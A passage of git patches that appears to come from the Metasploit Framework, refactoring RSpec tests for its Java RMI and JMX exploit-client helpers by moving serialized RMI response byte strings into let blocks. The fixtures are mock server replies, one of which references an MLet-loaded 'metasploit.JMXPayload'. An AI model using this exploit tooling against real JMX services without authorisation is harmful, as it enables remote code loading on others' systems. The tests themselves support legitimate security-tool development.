"\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" - ) expect { mod.send_registry_lookup(sock: msf_io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) end end context "when there is an interface bound" do it "returns the reference information" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + @@ -169,7 +166,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + "\x84\x49\x80\x01\x01\x78" - ) expect(mod.send_registry_lookup(sock: msf_io, name: name)[:object]).to eq(interface_class) end end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index 5f1699d76d..35336c06b7 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -22,10 +22,6 @@ RSpec.shared_context 'Msf::StringIO' do # before(:each) do - def msf_io.set_msf_data(data) - self.msf_data = data - end - def msf_io.get_once read end From 085598f6d22a488936949a0f56d9d2426a3ed578 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 14:46:43 -0600 Subject: [PATCH 062/103] Use lets --- .../java/rmi/client/jmx/connection_spec.rb | 121 +++++---- .../remote/java/rmi/client/jmx/server_spec.rb | 35 +-- .../remote/java/rmi/client/registry_spec.rb | 246 +++++++++--------- 3 files changed, 214 insertions(+), 188 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 51d3eb79c2..3c9d65eede 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -30,24 +30,27 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } + let(:get_object_instance_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + } + it "returns true" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" + msf_io.msf_data = get_object_instance_response expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy end end @@ -57,24 +60,31 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do context "when the object is created successfully" do include_context "Msf::StringIO" + # + # lets + # + + let(:create_mbean_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + } + it "returns true" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" + msf_io.msf_data = create_mbean_response expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy end end @@ -96,27 +106,30 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do } end + let(:invoke_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + end + it "returns true" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + - "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + - "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + - "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + - "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + - "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + - "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + - "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + - "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + - "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + - "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + - "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + - "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + - "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + msf_io.msf_data = invoke_response expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 9d3c8baec4..8d366ba361 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -28,23 +28,26 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do '172.16.158.132' } + let(:new_client_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + } + it "returns the reference information" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + msf_io.msf_data = new_client_response expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address) end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index 7ea2f0c16f..bf2391c181 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -25,25 +25,30 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_list" do context "when there aren't names registered" do + let(:list_empty_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + } it "returns empty array" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + - "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + msf_io.msf_data = list_empty_response expect(mod.send_registry_list(sock: msf_io)).to eq([]) end end context "when there are names registered" do + let(:list_with_names_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + } + it "returns the list of registered names" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + - "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + msf_io.msf_data = list_with_names_response expect(mod.send_registry_list(sock: msf_io)).to eq([name]) end end @@ -52,120 +57,125 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_lookup" do context "when there isn't an interface bound" do + let(:lookup_exception) { + "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + + "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + + "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + + "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + + "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + + "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + + "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + + "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + + "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + + "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + + "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + + "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + + "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + + "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + + "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + + "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + + "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + + "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + + "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + + "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + + "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + + "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + + "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + + "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + + "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + + "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + + "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + + "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + + "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + + "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + + "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + + "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + + "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + + "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + + "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + + "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + + "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + + "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + + "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + + "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + + "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + + "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + + "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + + "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + + "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + + "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + + "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + + "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + + "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + + "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + + "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + + "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + + "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + + 